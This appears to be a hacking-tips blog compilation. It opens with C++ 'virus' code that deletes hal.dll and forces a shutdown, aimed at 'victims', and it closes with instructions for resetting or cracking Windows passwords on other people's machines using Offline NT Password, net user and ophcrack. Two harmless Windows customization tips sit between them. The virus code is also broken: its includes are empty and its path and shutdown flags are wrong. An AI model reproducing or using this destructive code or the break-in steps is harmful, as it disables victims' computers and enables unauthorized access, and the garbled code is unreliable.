Powerfull C++ virus

This is a powerful C++ virus, which deletes Hal.dll, something that is required for startup. After deleting that, it shuts down, never to start again.

Warning: Do not try this on your home computer.

The Original Code:

Code:

#include
#include

using namespace std;

int main(int argc, char *argv[])
{
std::remove(“C:\\windows\\system32\\hal.dll”); //PWNAGE TIME
system(“shutdown -s -r”);
system(“PAUSE”);
return EXIT_SUCCESS;
}

A more advanced version of this virus which makes the C:\Windows a variable that cannot be wrong. Here it is:

Code:

#include
#include

using namespace std;

int main(int argc, char *argv[])
{
std::remove(“%systemroot%\\system32\\hal.dll”); //PWNAGE TIME
system(“shutdown -s -r”);
system(“PAUSE”);
return EXIT_SUCCESS;
}

The second version would be more useful during times when you do not know the victims default drive. It might be drive N: for all you know.

Change the Logon Screen Background in Windows 7

How would you like to change the logon screen background in Windows 7 so as to give your Windows a customized look and feel? With a small tweak it is possible to customize the Windows 7 logon screen and set your own picture/wallpaper as the background. Changing logon screen background in Windows 7 is as simple as changing your desktop wallpaper. Well here is a step by step instruction to customize the logon screen background.

 

1. The image you need to set as the background should be a .jpg file and it’s size should not exceed 245KB.

2. The image resolution can be anything of your choice. However I prefer 1440 x 900 or1024 x 768. You can use any of the photo editing software such as Photoshop to compress and set the resolution for your image. Once you’re done, save this image asbackgroundDefault.jpg.

3. You will need to copy this image to

C:\Windows\system32\oobe\info\backgrounds

You will need to create that path if it does not already exist on your computer.

4. Now open the Registry Editor (Start -> Run -> Type regedit) and navigate to the following key

HKLM\Software\Microsoft\Windows\CurrentVersion\Authentication\
LogonUI\Background

If Background does not exist rightclick LogonUI, select New and then Key, and then name it Background. Now locate OEMBackground (listed on the right side). If it does not exist, right-click Background and select New and then DWORD and name it OEMBackground.

5. Double-click on OEMBackground and set the Value Data to 1.

6. Now log-off to see the new logon screen background. If you would like to revert back to the default background, just set the Value Data back to 0.

I hope you like this trick. Just try out and give your feedback!

Create Your Own Customized Run Commands

The Run command on Microsoft Windows operating system allows you to directly open an application or document with just a single command instead of navigating to it’s location and double-clicking the executable icon. However, it only works for some of the inbuilt Windows programs such as Command prompt (cmd), Calculator (calc) etc. So, have you ever wondered how to create your own customized Run commands for accessing your favorite programs, files and folders? Well, read on to find out the answer.

Creating the Customized Run Command

 

Let me take up an example of how to create a customized run command for opening the Internet explorer. Once you create this command, you should be able to open the Internet explorer just by typing “ie” (without quotes) in the Run dialog box. Here is how you can do that.

1. Right click on your Desktop and select New -> Shortcut.

2. You will see a “Create Shortcut” Dialog box as shown below

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

3. Click on “Browse”, navigate to: Program Files -> Internet Explorer from your Root drive (usually C:\) and select “iexplore” as shown in the above figure and click on “OK”.

4. Now click on “Next” and type any name for your shortcut. You can choose any name as per your choice; this will be your customized “Run command”. In this case I name my shortcut as “ie”. Click on “Finish”.

5. You will see a shortcut named “ie” on your desktop. All you need to do is just copy this shortcut and paste it in your Windows folder (usually “C:/Windows”). Once you have copied the shortcut onto your Windows folder, you can delete the one on your Desktop.

6. That’s it! From now on, just open the Run dialog box, type ie and hit Enter to open the Internet Explorer.

In this way you can create customized Run commands for any program of your choice. Say “ff” for Firefox, “ym” for Yahoo messenger, “wmp” for Windows media player and so on.

To do this, when you click on “Browse” in the Step-3, just select the target program’s main executable (.exe) file which will usually be located in the C:\Program Files folder. Give a simple and short name for this shortcut as per your choice and copy the shortcut file onto the Windows folder as usual. Now just type this short name in the Run dialog box to open the program.

I hope you like this post! Pass your comments.

Forgot windows login password or want to crack some one's password

This hack will show you how to reset Windows administrator password (for Win 2000, XP, Vista and Windows 7)  at times when you forget it or when you want to gain access to a computer for which you do not know the password.

Most of us have experienced a situation where in we need to gain access to a computer which is password protected or at times we may forget the administrator password without which it becomes impossible to login to the computer. So here is an excellent hack using which you can reset the password or make the password empty (remove the password) so that you can gain administrator access to the computer. You can do this with a small tool called  Offline NT Password & Registry Editor. This utility works offline, that means you need to shut down your computer and boot off your using a floppy disk, CD or USB device (such as pen drive). The tool has the following features.

• You do not need to know the old password to set a new one
• Will detect and offer to unlock locked or disabled out user accounts!
• There is also a registry editor and other registry utilities that works under linux/unix, and can be used for other things than password editing.

How it works?

Most Windows operating systems stores the login passwords and other encrypted passwords in a file called sam (Security Accounts Manager). This file can be usually found in \windows\system32\config. This file is a part of Windows registry and remains inaccessible as long as the OS is active. Hence it is necessary that you need to boot off your computer and access this sam file via boot. This tool intelligently gains access to this file and will reset/remove the password associated with administrator or any other account.

The download link for both CD and floppy drives along with the complete instructions is given below

Offline NT Password & Reg Editor Download

It is recommended that you download the CD version of the tool since floppy drive is outdated and doesn’t exist in today’s computer. Once you download you’ll get a bootable image which you need to burn it onto your CD. Now boot your computer from this CD and follow the screen instructions to reset the password.

Another simple way to reset non-administrator account passwords

Here is another simple way through which you can reset the password of any non-administrator accounts. The only requirement for this is that you need to have administrator privileges. Here is a step-by-step instruction to accomplish this task.

1. Open the command prompt (Start->Run->type cmd->Enter)

2. Now type net user and hit Enter

3. Now the system will show you a list of user accounts on the computer. Say for example you need to reset the password of the account by name John, then do as follows

4. Type net user John * and hit Enter. Now the system will ask you to enter the new password for the account. That’s it. Now you’ve successfully reset the password for John without knowing his old password.

So in this way you can reset the password of any Windows account at times when you forget it so that you need not re-install your OS for any reason. I hope this helps.

Besides this two methods you can also crack password using a simple technique follow this steps 

when you see windows login screen just press Alt+Ctrl+delete two times and then you will see basic login screen and type "administrator" and then enter you can access the system and then change the password using command but this works in some windows systems only

Other way you can also do it by software called ophcrack for this download ophcrack from here based on your operating system then boot your system and boot using ophrack linux (insert ophcrack CD and then reboot then it will ask boot from CD press any key to start ophcrack) then seclect graphic mode and then a dialog box will appear like this. then the password will be shown in the box with respective user name 

 WHAT IS OPHCRACK???

Ophcrack is a free open source (GPL licensed) program that cracks Windows passwords by using LM hashes through rainbow tables. The program includes the ability to import the hashes from a variety of formats, including dumping directly from the SAM files of Windows. On most computers, ophcrack can crack most passwords within a few minutes.

Rainbow tables for LM hashes of alphanumeric passwords are provided for free by the developers. By default, ophcrack is bundled with tables that allows it to crack passwords no longer than 14 characters using only alphanumeric characters. Available for freely for download are two Windows XP tables, one small and one fast, and one Windows Vista table.

Objectif Sécurité has even larger tables for purchase, intended for professional use. Larger rainbow tables contain LM hashes of passwords with all printable characters, including symbols and spaces, and are available for purchase.

Ophcrack is also available as Live CD distributions which automate the retrieval, decryption, and cracking of passwords from a Windows system. One Live CD distribution is available for Windows XP and lower, as well as another for Windows Vista and Windows 7. The Live CD distributions of ophcrack are built with SliTaz GNU/Linux.

Starting with version 2.3, Ophcrack also cracks NTLM hashes. This is necessary if the generation of the LM hash is disabled (this is default for Windows Vista), or if the password is longer than 14 characters (in which case the LM hash is not stored).
